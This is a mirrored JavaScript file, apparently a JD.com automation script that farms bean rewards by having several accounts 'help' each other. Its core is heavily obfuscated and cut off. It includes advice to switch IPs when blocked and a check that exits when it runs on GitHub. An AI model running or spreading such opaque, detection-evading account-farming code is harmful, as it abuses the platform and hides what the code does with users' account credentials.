mirror of
https://github.com/shufflewzc/faker3.git
synced 2024-11-15 00:09:20 +08:00
17 lines
96 KiB
JavaScript
17 lines
96 KiB
JavaScript
|
/*
|
|||
|
赚京豆
|
|||
|
活动入口:京东APP我的-领京豆-京豆商城(京豆兑奖)-瓜分京豆
|
|||
|
活动地址:https://h5platform.jd.com/swm-static/exchange-equity/index.html#/pages/divideBean/divideBean
|
|||
|
需要通过环境变量 SYJ_HELP_PIN 指定被助力账号,变量值为pt_pin,多个用&分割,每10个账号可以养3个号
|
|||
|
单个账号每天可助力3次,但针对同一个账号每天只能助力一次即3次机会不能全部用于助力同一个账号
|
|||
|
如果没有账号开团成功且连续多个账号都开团火爆则可能是IP黑了,请换个IP尝试,部分黑号能开团但是不能被助力
|
|||
|
|
|||
|
11 11 11 11 * jd_syj.js
|
|||
|
|
|||
|
*/
|
|||
|
|
|||
|
const $ = new Env("赚京豆");
|
|||
|
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxf384f=["\x6A\x73\x6A\x69\x61\x6D\x69\x2E\x63\x6F\x6D\x2E\x76\x36","\u202E\x5F\x30\x78\x6F\x64\x34","\x46\x43\x59\x36\x77\x34\x2F\x44\x71\x4D\x4F\x52\x42\x51\x3D\x3D","\x4D\x63\x4B\x45\x77\x37\x6A\x43\x69\x33\x6B\x6B\x4A\x6C\x6A\x43\x74\x41\x3D\x3D","\x64\x63\x4F\x78\x55\x51\x3D\x3D","\x52\x32\x64\x55\x77\x70\x4A\x79\x77\x70\x73\x3D","\x48\x65\x57\x4E\x72\x75\x69\x41\x74\x4F\x69\x38\x71\x2B\x61\x4E\x73\x75\x53\x36\x72\x4F\x53\x37\x75\x4F\x61\x4D\x6C\x2B\x57\x4E\x6D\x75\x2B\x2B\x6C\x2B\x69\x75\x6F\x65\x61\x68\x75\x75\x61\x63\x6D\x2B\x65\x2B\x70\x4F\x65\x37\x6F\x77\x3D\x3D","\x47\x4F\x69\x76\x6C\x75\x57\x47\x68\x75\x6D\x42\x75\x65\x69\x38\x75\x65\x65\x4D\x6B\x4F\x57\x6A\x69\x75\x6D\x42\x67\x65\x57\x50\x69\x67\x58\x44\x6D\x44\x67\x57\x49\x79\x74\x6B\x4B\x73\x4F\x4A\x47\x4D\x4B\x76\x77\x6F\x55\x4F\x61\x4F\x57\x74\x75\x65\x53\x36\x74\x75\x57\x4A\x6D\x75\x57\x4C\x70\x65\x69\x33\x69\x75\x57\x4F\x68\x75\x2B\x2F\x75\x4F\x57\x6C\x6F\x4F\x53\x36\x67\x65\x65\x57\x70\x68\x58\x70\x6D\x71\x66\x6C\x76\x70\x77\x77","\x34\x34\x4B\x63\x35\x6F\x36\x74\x35\x36\x65\x50\x34\x34\x4B\x77\x36\x4B\x36\x76\x35\x59\x53\x50\x36\x49\x2B\x5A\x35\x59\x2B\x44\x35\x4C\x6D\x63\x35\x4C\x71\x31\x36\x4C\x53\x6C\x35\x59\x36\x62\x35\x4C\x6D\x31\x4D\x38\x4F\x38\x77\x71\x44\x44\x75\x57\x70\x39\x64\x65\x65\x59\x76\x4F\x61\x4D\x67\x65\x53\x2B\x6E\x65\x65\x58\x6C\x38\x4F\x44\x51\x4D\x4B\x48\x45\x38\x4F\x4C\x77\x37\x4C\x6E\x6D\x6F\x6A\x6B\x75\x5A\x37\x6B\x75\x34\x4C\x6E\x72\x70\x50\x6C\x69\x72\x6E\x6F\x6A\x72\x33\x6C\x6A\x4B\x51\x3D","\x47\x30\x77\x4D\x42\x63\x4B\x6C\x5A\x67\x4C\x44\x6A\x73\x4B\x6A\x77\x72\x4C\x43\x70\x63\x4F\x70\x77\x37\x31\x63\x44\x68\x33\x44\x74\x6A\x52\x51\x77\x70\x33\x44\x70\x63\x4B\x56\x48\x4D\x4F\x33\x77\x70\x4A\x4D\x77\x70\x4C\x44\x70\x44\x50\x44\x6F\x63\x4F\x30\x58\x51\x34\x34\x77\x72\x78\x77\x77\x72\x37\x44\x75\x4D\x4F\x68\x4A\x73\x4B\x32\x77\x70\x48\x44\x6C\x67\x3D\x3D","\x65\x38\x4B\x61\x77\x71\x56\x76\x77\x34\x30\x3D","\x77\x71\x56\x4E\x4F\x7A\x44\x43\x73\x51\x3D\x3D","\x77\x70\x34\x43\x53\x46\x66\x44\x6A\x51\x3D\x3D","\x49\x54\x6B\x58\x77\x37\x72\x44\x75\x67\x3D\x3D","\x77\x36\x33\x44\x67\x38\x4B\x39","\x77\x36\x6C\x57\x77\x36\x6A\x44\x75\x73\x4F\x42\x44\x38\x4F\x44","\x51\x47\x6A\x43\x72\x51\x66\x43\x6D\x55\x76\x44\x67\x67\x3D\x3D","\x4A\x63\x4B\x31\x77\x37\x6E\x44\x68\x63\x4F\x6C\x77\x70\x48\x44\x68\x77\x3D\x3D","\x4B\x78\x48\x44\x76\x6C\x50\x44\x6A\x73\x4B\x50\x65\x44\x67\x3D","\x77\x34\x70\x77\x63\x79\x52\x76\x51\x44\x30\x3D","\x49\x78\x35\x44\x48\x63\x4B\x36\x57\x7A\x63\x3D","\x77\x34\x76\x44\x74\x73\x4B\x35\x77\x36\x72\x43\x73\x77\x3D\x3D","\x48\x67\x51\x72\x77\x37\x50\x44\x70\x41\x3D\x3D","\x77\x36\x41\x53\x77\x70\x49\x3D","\x4E\x58\x48\x43\x72\x67\x46\x53","\x64\x78\x6A\x43\x68\x77\x3D\x3D","\x77\x72\x76\x44\x71\x63\x4F\x70\x64\x67\x3D\x3D","\x77\x71\x45\x56\x45\x46\x73\x71","\x77\x70\x72\x44\x6D\x45\x33\x44\x6F\x38\x4F\x64\x77\x35\x54\x43\x67\x73\x4B\x62\x42\x73\x4F\x4F\x77\x37\x62\x43\x69\x73\x4F\x77\x61\x73\x4B\x7A\x4C\x4D\x4B\x5A\x62\x31\x42\x33\x77\x37\x6E\x44\x6D\x58\x37\x43\x6C\x38\x4B\x44\x58\x38\x4F\x30\x77\x37\x6B\x2F\x51\x73\x4F\x6B\x77\x6F\x4E\x50\x56\x54\x72\x43\x6F\x78\x59\x39\x77\x35\x7A\x43\x6C\x63\x4F\x62\x77\x35\x38\x77","\x77\x37\x77\x43\x41\x38\x4B\x67\x47\x63\x4F\x57\x59\x44\x59\x3D","\x77\x34\x54\x44\x6E\x73\x4F\x2F\x65\x63\x4B\x66","\x77\x72\x4D\x38\x43\x47\x62\x43\x73\x67\x3D\x3D","\x77\x72\x45\x49\x77\x72\x7A\x43\x72\x38\x4B\x4A","\x54\x63\x4F\x6A\x52\x4D\x4B\x46\x77\x71\x4A\x61\x41\x67\x45\x3D","\x77\x34\x77\x4C\x4B\x38\x4B\x2B\x4D\x67\x3D\x3D","\x77\x71\x6A\x43\x69\x38\x4F\x35\x4E\x4D\x4B\x4E","\x65\x52\x4A\x53\x58\x38\x4F\x38\x64\x67\x66\x6C\x76\x36\x48\x6C\x70\x49\x72\x6A\x67\x34\x66\x6B\x75\x61\x6A\x6B\x75\x70\x76\x6F\x74\x37\x58\x6C\x6A\x34\x59\x3D","\x77\x36\x41\x4F\x
|
|||
|
// prettier-ignore
|
|||
|
function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.d
|